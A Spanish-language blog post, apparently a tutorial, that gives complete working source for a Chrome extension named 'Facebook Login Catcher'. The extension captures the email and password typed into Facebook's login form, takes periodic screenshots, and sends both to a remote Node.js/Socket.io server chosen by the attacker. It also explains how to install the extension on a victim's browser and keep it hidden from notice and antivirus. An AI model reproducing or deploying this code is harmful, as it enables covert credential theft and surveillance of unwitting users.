Capturar credenciales de Facebook con una extensión de Google Chrome


Hace unos días comencé a revisar las API de Google Chrome que ofrece para crear extensiones y decidí crear una sencilla extensión que captura el email y la contraseña de Facebook al momento de hacer login (hay gente que le llama hackear Facebook), esto lo logro al hacer un hook en el evento “submit” del formulario de login.

En términos más técnicos lo que estoy haciendo es un event listener al documento y bajo ciertos parámetros solo opero en el login de Facebook.

También me pareció interesante tomar pantallazos de Facebook cada determinado tiempo, para ello se cuenta con un botón que habilita esta opción.

Sin embargo la idea es que esta información salga del navegador de la víctima y vaya a nuestras manos, para ello configuré la aplicación para que responda a un servidor hecho con Node.js y Socket.io, de ahí para adelante es historia.

Lo interesante de este método pasivo de ataque es que no va a ser detectado por ningún antivirus y funcionaría de manera silenciosa si se instala inhabilitando la interfaz de configuración, ya solo queda en que en un escenario real se modifiquen ciertos aspectos, como poner contraseña al panel de administración, o poner información muy irrelevante (un usuario despreocupado por su seguridad no va a percatarse de esta extensión).

Primeros pasos para el ataque

Configurar Chrome

Lo primero que debemos tener en cuenta es que esta extensión no va a estar publicada en el store de Google Chrome, por lo tanto debemos tener acceso directo al Chrome de la víctima y habilitar el modo de desarrollador.

  1. Abrir Google Chrome de la víctima
  2. Ingresar la siguiente URL chrome://extensions/
  3. Hacer click en el Checkbox que dice “Modo de desarrollador” 

Directorios

Para crear esta extensión es necesario tener el siguiente directorio:

Creando el manifiesto

Lo más importante de nuestra extensión es el manifiesto, ya que este tiene las “instrucciones” para Chrome y le va a proporcionar toda la información necesaria para poderse ejecutar.

Aquí se encuentra información como el nombre, la versión, permisos que necesita de Chrome, scripts que ejecuta en background, el archivo que se muestra en las configuraciones, en fin…

{
  "name": "Facebook Login Catcher",
  "version": "0.0.1",
  "manifest_version": 2,
  "description": "Catch credentials from Facebook login with Chrome Extensions",
  "homepage_url": "https://ingcamilorodriguez.wordpress.com",
  "icons": {
    "16": "icons/icon16.png",
    "48": "icons/icon48.png",
    "128": "icons/icon128.png"
  },
  "background": {
    "scripts": [
      "js/socket.io-1.3.7.js",
      "js/bg/background.js"
    ]
  },
  "permissions": [
    "activeTab",
    "webRequest",
    "webRequestBlocking",
    "desktopCapture",
    "tabs",
    "http://*/",
    "http://*/*"
  ],
  "browser_action": {
    "default_icon": "icons/icon48.png",
    "default_popup": "html/config.html"
  },
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
  "content_scripts": [
    {
      "matches":["https://www.facebook.com/*"],
      "js":["js/jquery.js", "js/content.js", "js/socket.io-1.3.7.js"],
      "css":["css/styles.css"],
      "run_at": "document_start"
    }
  ]
}

Lógica inyectada en Facebook

En el directorio llamado “js/” debe existir un archivo con el nombre “content.js”, este contendrá el código que se va a ejecutar únicamente cuando se esté en la página de Facebook.

(function(){
	console.log('ready from content.js')
	
	document.addEventListener("submit", function (e) {
		// This code is executed when submit event is fired

		// If the path is root
		if (window.location.pathname === '/') {
			// Get captured data from login form
			var data = {
				"email" : $("#email").val(),
				"password" : $("#pass").val()
			}

			// Send a message to background.js
			chrome.runtime.sendMessage({type : 'on_form_submit', 'data' : data}, function(data){
				console.log(data.response);
			});
			//e.preventDefault();
		}	  
	}, false);
})();

Lógica de background en extensión

Un archivo de background.js o background.html no es más que un código persistente que se va a ejecutar durante mucho tiempo y administrar tareas o estados, esto se puede usar para muchos fines ya que no se va a parar la ejecución de este script. En este caso vamos a usarlo para contener todo el centro de comunicaciones y utilizar toda la lógica fuerte aquí, tal como usar Socket.io, tomar screenshots, almacenar la configuración.

// Variables
var socket = null;
var server = null;
var attemptsToReconnect = 3;
var lastMessage = '';
var screenshotTimer = 500;
var isScreenshotEnabled = false;

(function(){
	console.log('Ready from background.js');

	setInterval(function(){
		takeScreenshot();
	}, screenshotTimer);
})();

// Receive all messages and select only matched cases
chrome.runtime.onMessage.addListener(
	function(request, sender, sendResponse) {
	    switch (request.type) {
	    	case 'Get_Basic_Data': // Return configurations
	    		sendResponse({server : server, lastMessage : lastMessage, isScreenshotEnabled: isScreenshotEnabled})
	    		break;
	    	case 'SetScreenshot': // Set on/off screenshots
	    		isScreenshotEnabled = request.value;
	    		break;
	    	case 'Socket_Manager': // Make a new connection
	    		server = request.dns;	    		
				attemptsToReconnect = 3;

	    		socketManager();
	    	break;
	        case 'on_form_submit': // Send data to socket
	            var credentials = request.data;
	             
	            
	            if (emitCredentials(credentials)) {
	            	sendResponse({response: 'Credentials sent'});
	            }
	            else{
	            	sendResponse({response: 'Credentials cannot be sent'});
	            }
	            break;
	        default:
	        	sendResponse({response : 'Invalid option'});
     }
});

function emitCredentials(data){
	if (socket != null) {
		socket.emit('PushCredentials', {Credentials : data});
		return true;
	}
	else{
		return false;
	}
}

function socketManager(){
	// Socket.io settings
	socket = new io(server);
	console.log(socket)

	// Socket.io events
	socket.on('connect', function(data){
		// Send a message to config.html
		lastMessage = 'Connected to server';
		chrome.runtime.sendMessage({type : 'Background.Message', 'message' : lastMessage, 'dns': server}, function(data){
			console.log(data.response);
		});
	});

	socket.on('connect_error', function(data){
		console.log('Connect error to server');
		console.log(data);
		if (attemptsToReconnect <= 1) {
			socket.close();
			lastMessage = 'Max of attempts to connect, verify if backend app is running';
			chrome.runtime.sendMessage({type : 'Background.Message', 'message' : lastMessage}, function(data){
				console.log(data.response);
			});
		};
		attemptsToReconnect--;
	});

	socket.on('setScreenshotTimer', function(data){
		screenshotTimer = data;
	})
}

function takeScreenshot(){
	if (isScreenshotEnabled) {
		chrome.tabs.captureVisibleTab(null,{},function(dataUrl){
			console.log(dataUrl);
			if (socket != null) {
				socket.emit('PushScreenshot', {screenshot : dataUrl});
				return true;
			}
			else{
				return false;
			}
		});
	};
}

Página de configuración

Comunmente se llama este archivo “popup.html” pero en este caso lo llamaré “config.html” y contendrá toda la información que se usará cuando se haga click en el icono de la extensión. Solo pondré el marcado importante, los estilos y demás están en repositorio.

<body>


<h1>Facebook Login Catcher</h1>




<section class="main-container">


<article class="form-group">
			<label for="server-input">What is DNS to send data?</label>
			<input type="text" placeholder="include http:// or htpps://" id="server-input" name="server-input" class="form-control">
		</article>




<article class="form-group">
			<label for="screenshots-enabled">Enable periodical screenshots</label>


<div class="onoffswitch">
			    <input type="checkbox" name="onoffswitch" class="onoffswitch-checkbox" id="check-screenshot" name="check-screenshot">
			    <label class="onoffswitch-label" for="check-screenshot">
			        <span class="onoffswitch-inner"></span>
			        <span class="onoffswitch-switch"></span>
			    </label>
			</div>


		</article>


	</section>




<section class="status">


Status: <span>Waiting for</span>

	</section>


</body>

Pero también falta la lógica usada en este popup:

(function(){
	// Get basic data
	chrome.runtime.sendMessage({type : 'Get_Basic_Data'}, function(data){
		$('#server-input').val(data.server);
		$('#check-screenshot').prop('checked', data.isScreenshotEnabled);
		if (data.lastMessage != undefined && data.lastMessage != null && data.lastMessage.length > 0) {
			$('#server-status>span').text(data.lastMessage);
		}
	});
})()

// Front-end events
$('#server-input').blur(function(){
	var server = $('#server-input').val();
	if (server.length > 0) {
		chrome.runtime.sendMessage({type : 'Socket_Manager', 'dns' : server}, function(data){
			console.log(data.response);
		});
	};
});

$("#check-screenshot").change(function(){
	if($(this).is(":checked")) {
		chrome.runtime.sendMessage({type : 'SetScreenshot', 'value' : true}, function(data){
			console.log(data.response);
		});
	}
	else{
		chrome.runtime.sendMessage({type : 'SetScreenshot', 'value' : false}, function(data){
			console.log(data.response);
		});
	}
});

// Retreive all status from socket
chrome.runtime.onMessage.addListener(
	function(request, sender, sendResponse) {
	    switch (request.type) {
	    	case 'Background.Message':
	    		$('#server-status>span').text(request.message);
	    	break;
	        
	        default:
	        	sendResponse({response : 'Invalid option'});
     }
});

 

Resultado

Para finalizar dejo a continuación el código fuente en este repositorio donde podrán jugar con el código y dejar volar su imaginación.

Facebook Login Catcher on GitHub